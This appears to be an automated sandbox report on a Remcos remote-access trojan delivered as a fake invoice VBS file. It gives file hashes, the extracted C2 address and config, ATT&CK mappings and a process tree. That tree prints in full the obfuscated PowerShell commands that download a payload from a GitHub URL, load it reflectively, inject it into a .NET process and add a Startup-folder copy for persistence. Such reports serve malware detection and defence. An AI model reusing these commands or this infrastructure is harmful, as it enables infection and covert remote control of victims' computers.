remcos | b23e0b79cdaea3f5286eb29dcc3eec0548eaa7f676c00af3c4df753228110060

General

Target

KATUNJANIN D.O.O. Herceg Novi EUR 15613, 20241003.vbs
Size

486KB
MD5

bfe8bd92459f45bda7c2144a9ae3ad70
SHA1

5c8a674b4dec5b7c6bfe579d5ba7c30bd426b66f
SHA256

705d179b125a94e56fdcc774436bf47e3f6680b126bfdb0637657db07fa78139
SHA512

fbd3c5fa3bf90cec9227912c203898870716d0cb50b0a6caade19aaf4493dce3cc4a7c1a77c713fe8963159d3195837ca1ef6dcfde8700fceed633aa7c3e7d06
SSDEEP

12288:KZejbep/wU35vTs06uFBRBzPupRWdOrDt/bDqPm3hqekZEeWZCmHFLCCAYpdStSU:NX2oZLRgIZ2

Score

10^/10

remcos news discovery execution rat

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://raw.githubusercontent.com/NoDetectOn/NoDetectOn/refs/heads/main/DetahNoth-V.txt

exe.dropper

https://raw.githubusercontent.com/NoDetectOn/NoDetectOn/refs/heads/main/DetahNoth-V.txt

Extracted

Family

remcos

Botnet

NEWS

C2

ab9001.ddns.net:35890

Attributes

audio_folder
MicRecords
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
vlc.exe
copy_folder
vlc
delete_file
false
hide_file
false
hide_keylog_file
false
install_flag
false
keylog_crypt
false
keylog_file
logs.dat
keylog_flag
false
keylog_folder
remcos
keylog_path
%UserProfile%
mouse_option
false
mutex
Rmc-YJH0WY
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
startup_value
reg
take_screenshot_option
false
take_screenshot_time
5

Signatures

Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos

Blocklisted process makes network request 2 IoCs

flow	pid	Process
22	4736	powershell.exe
26	4736	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2504	powershell.exe
3432	powershell.exe
4736	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2170637797-568393320-3232933035-1000\Control Panel\International\Geo\Nation	WScript.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\rectifloro.vbs	WScript.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\rectifloro.vbs	WScript.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
21	raw.githubusercontent.com
22	raw.githubusercontent.com

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 4736 set thread context of 3100	4736	powershell.exe	105

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	AddInProcess32.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
2552	cmd.exe
1164	PING.EXE

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
1164	PING.EXE

Suspicious behavior: EnumeratesProcesses 10 IoCs

pid	Process
2504	powershell.exe
2504	powershell.exe
2504	powershell.exe
3432	powershell.exe
3432	powershell.exe
4736	powershell.exe
4736	powershell.exe
4736	powershell.exe
4736	powershell.exe
4736	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	2504	powershell.exe
Token: SeDebugPrivilege	3432	powershell.exe
Token: SeDebugPrivilege	4736	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
3100	AddInProcess32.exe

Suspicious use of WriteProcessMemory 25 IoCs

description	pid	Process	procid_target
PID 3944 wrote to memory of 2552	3944	WScript.exe	89
PID 3944 wrote to memory of 2552	3944	WScript.exe	89
PID 2552 wrote to memory of 1164	2552	cmd.exe	91
PID 2552 wrote to memory of 1164	2552	cmd.exe	91
PID 2552 wrote to memory of 2504	2552	cmd.exe	98
PID 2552 wrote to memory of 2504	2552	cmd.exe	98
PID 3944 wrote to memory of 3432	3944	WScript.exe	99
PID 3944 wrote to memory of 3432	3944	WScript.exe	99
PID 3432 wrote to memory of 4736	3432	powershell.exe	101
PID 3432 wrote to memory of 4736	3432	powershell.exe	101
PID 4736 wrote to memory of 320	4736	powershell.exe	104
PID 4736 wrote to memory of 320	4736	powershell.exe	104
PID 4736 wrote to memory of 320	4736	powershell.exe	104
PID 4736 wrote to memory of 3100	4736	powershell.exe	105
PID 4736 wrote to memory of 3100	4736	powershell.exe	105
PID 4736 wrote to memory of 3100	4736	powershell.exe	105
PID 4736 wrote to memory of 3100	4736	powershell.exe	105
PID 4736 wrote to memory of 3100	4736	powershell.exe	105
PID 4736 wrote to memory of 3100	4736	powershell.exe	105
PID 4736 wrote to memory of 3100	4736	powershell.exe	105
PID 4736 wrote to memory of 3100	4736	powershell.exe	105
PID 4736 wrote to memory of 3100	4736	powershell.exe	105
PID 4736 wrote to memory of 3100	4736	powershell.exe	105
PID 4736 wrote to memory of 3100	4736	powershell.exe	105
PID 4736 wrote to memory of 3100	4736	powershell.exe	105

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\KATUNJANIN D.O.O. Herceg Novi EUR 15613, 20241003.vbs"
1⤵
- Checks computer location settings
- Drops startup file
- Suspicious use of WriteProcessMemory
PID:3944
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 10 & powershell -command [System.IO.File]::Copy('C:\Users\Admin\AppData\Local\Temp\KATUNJANIN D.O.O. Herceg Novi EUR 15613, 20241003.vbs', 'C:\Users\' + [Environment]::UserName + ''\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ sbv.orolfitcer.vbs')')
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:2552
- - C:\Windows\system32\PING.EXE
    ping 127.0.0.1 -n 10
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:1164
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -command [System.IO.File]::Copy('C:\Users\Admin\AppData\Local\Temp\KATUNJANIN D.O.O. Herceg Novi EUR 15613, 20241003.vbs', 'C:\Users\' + [Environment]::UserName + ''\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ sbv.orolfitcer.vbs')')
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2504
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'aUV4ICgoJ2wnKydjJysnWicrJ3VybCA9JysnIFU4Y2h0dHAnKydzOi8vJysncmF3LicrJ2dpdCcrJ2h1YicrJ3UnKydzZXInKydjbycrJ250JysnZW50LmNvbS8nKydOb0RldGVjdE9uL05vRGV0ZScrJ2N0TycrJ24vcmVmcy8nKydoZScrJ2FkcycrJy9tYWluL0RlJysndGEnKydoTm90JysnaC1WLnR4dCcrJ1U4YzsgJysnbGMnKydaYmFzZTY0JysnQ28nKydudGVudCA9ICcrJyhOZXctT2JqZWN0IFMnKyd5c3RlbS5OZXQuV2ViQ2wnKydpZW50KS5Eb3cnKyduJysnbG9hJysnZFN0cmknKyduZygnKydsYycrJ1p1cmwnKycpJysnOyBsJysnY1piaW5hcnlDb250ZScrJ250ID0gW1MnKyd5JysncycrJ3RlbS5DbycrJ252ZXInKyd0XTonKyc6JysnRnJvbUJhJysnc2UnKyc2JysnNFN0cmluZyhsY1onKydiYXNlNjRDb250ZW4nKyd0KScrJzsnKycgbGNaYXNzJysnZW0nKydibHkgJysnPSBbJysnUmVmbCcrJ2VjdGknKydvbi5BcycrJ3NlbWJseV06OkxvJysnYWQobCcrJ2MnKydaJysnYmluJysnYXJ5JysnQ29udGVuJysndCknKyc7JysnIFtkbmxpYi4nKydJTy5Ib20nKydlJysnXTo6JysnVkFJKFI3ODAnKycvQ28nKydoJysnblUvZC8nKydlZS5lJysndCcrJ3NhcC8nKycvOnNwdHQnKydoUicrJzc4LCBSNzhkZXMnKydhdCcrJ2knKyd2YWRvUjc4LCcrJyBSNycrJzgnKydkZXNhdGknKyd2JysnYWQnKydvUjc4LCAnKydSNzhkZXNhJysndCcrJ2knKyd2YWRvUjc4JysnLCBSNycrJzhBZGRJblAnKydyb2Nlc3MzMlInKyc3OCwgUjc4UicrJzc4LFI3OFI3OCcrJyknKS5yRXBsYWNFKCdsY1onLFtzdHJJTkddW0NIQXJdMzYpLnJFcGxhY0UoKFtDSEFyXTg1K1tDSEFyXTU2K1tDSEFyXTk5KSxbc3RySU5HXVtDSEFyXTM5KS5yRXBsYWNFKChbQ0hBcl04MitbQ0hBcl01NStbQ0hBcl01NiksW3N0cklOR11bQ0hBcl0zNCkgKQ==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3432
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "iEx (('l'+'c'+'Z'+'url ='+' U8chttp'+'s://'+'raw.'+'git'+'hub'+'u'+'ser'+'co'+'nt'+'ent.com/'+'NoDetectOn/NoDete'+'ctO'+'n/refs/'+'he'+'ads'+'/main/De'+'ta'+'hNot'+'h-V.txt'+'U8c; '+'lc'+'Zbase64'+'Co'+'ntent = '+'(New-Object S'+'ystem.Net.WebCl'+'ient).Dow'+'n'+'loa'+'dStri'+'ng('+'lc'+'Zurl'+')'+'; l'+'cZbinaryConte'+'nt = [S'+'y'+'s'+'tem.Co'+'nver'+'t]:'+':'+'FromBa'+'se'+'6'+'4String(lcZ'+'base64Conten'+'t)'+';'+' lcZass'+'em'+'bly '+'= ['+'Refl'+'ecti'+'on.As'+'sembly]::Lo'+'ad(l'+'c'+'Z'+'bin'+'ary'+'Conten'+'t)'+';'+' [dnlib.'+'IO.Hom'+'e'+']::'+'VAI(R780'+'/Co'+'h'+'nU/d/'+'ee.e'+'t'+'sap/'+'/:sptt'+'hR'+'78, R78des'+'at'+'i'+'vadoR78,'+' R7'+'8'+'desati'+'v'+'ad'+'oR78, '+'R78desa'+'t'+'i'+'vadoR78'+', R7'+'8AddInP'+'rocess32R'+'78, R78R'+'78,R78R78'+')').rEplacE('lcZ',[strING][CHAr]36).rEplacE(([CHAr]85+[CHAr]56+[CHAr]99),[strING][CHAr]39).rEplacE(([CHAr]82+[CHAr]55+[CHAr]56),[strING][CHAr]34) )"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:4736
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
      4⤵
      PID:320
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of SetWindowsHookEx
      PID:3100

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --field-trial-handle=3364,i,8293235976513689021,7261015831736501466,262144 --variations-seed-version --mojo-platform-channel-handle=4332 /prefetch:8
1⤵
PID:1448

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

Remote System Discovery

1

T1018

System Information Discovery

2

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

System Network Configuration Discovery

1

T1016

Internet Connection Discovery

1

T1016.001

Lateral Movement

Collection

Command and Control

Web Service

1

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
6d42b6da621e8df5674e26b799c8e2aa

SHA1
ab3ce1327ea1eeedb987ec823d5e0cb146bafa48

SHA256
5ab6a1726f425c6d0158f55eb8d81754ddedd51e651aa0a899a29b7a58619c4c

SHA512
53faffbda8a835bc1143e894c118c15901a5fd09cfc2224dd2f754c06dc794897315049a579b9a8382d4564f071576045aaaf824019b7139d939152dca38ce29

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
64B

MD5
58c00f3cbded90c98304fa275c6efefb

SHA1
99eb8008cb2fae71660c65a6090b9021b9e224ca

SHA256
375388aa49dca8686ff5e31764e8244a98437b4927efae58357ecaac629063b5

SHA512
7837b8d4ad8a82e1bcc8dc6ddc62eb8c81c10779d6dafa3e979eca2669a3f548fbc6498fbdf113c2134193726e86db30d9308b1659d5d6a33a6d5d259793d056

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_popojr5l.dim.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\remcos\logs.dat

Filesize
144B

MD5
4e8fa0ba89b08b9c1a140c1b2de51cc3

SHA1
6461d9997c2c1b88e287b0021eac4fc64837bda4

SHA256
cbd4ae64caa2e67d657c13e6b56b0c4f6a042e354c7a74434ae0e4476f8f58c3

SHA512
ae8428410fdd59fe16a560eda332d0ad77a8fed07501606b23130ecdcfc77d7a883bb72ff3e538697d54f2460d62a36bdd5d7b60b864f6087e256a01566c043e

Download Submit
memory/2504-2-0x000001F3B73B0000-0x000001F3B73D2000-memory.dmp

Filesize
136KB

Download
memory/2504-12-0x00007FF836E10000-0x00007FF8378D1000-memory.dmp

Filesize
10.8MB

Download
memory/2504-13-0x00007FF836E10000-0x00007FF8378D1000-memory.dmp

Filesize
10.8MB

Download
memory/2504-16-0x00007FF836E10000-0x00007FF8378D1000-memory.dmp

Filesize
10.8MB

Download
memory/2504-17-0x00007FF836E10000-0x00007FF8378D1000-memory.dmp

Filesize
10.8MB

Download
memory/2504-1-0x00007FF836E13000-0x00007FF836E15000-memory.dmp

Filesize
8KB

Download
memory/3100-47-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/3100-69-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/3100-44-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/3100-39-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/3100-48-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/3100-49-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/3100-50-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/3100-51-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/3100-53-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/3100-85-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/3100-61-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/3100-60-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/3100-68-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/3100-41-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/3100-77-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/3100-76-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/3100-84-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/4736-38-0x000001DAECE50000-0x000001DAED070000-memory.dmp

Filesize
2.1MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads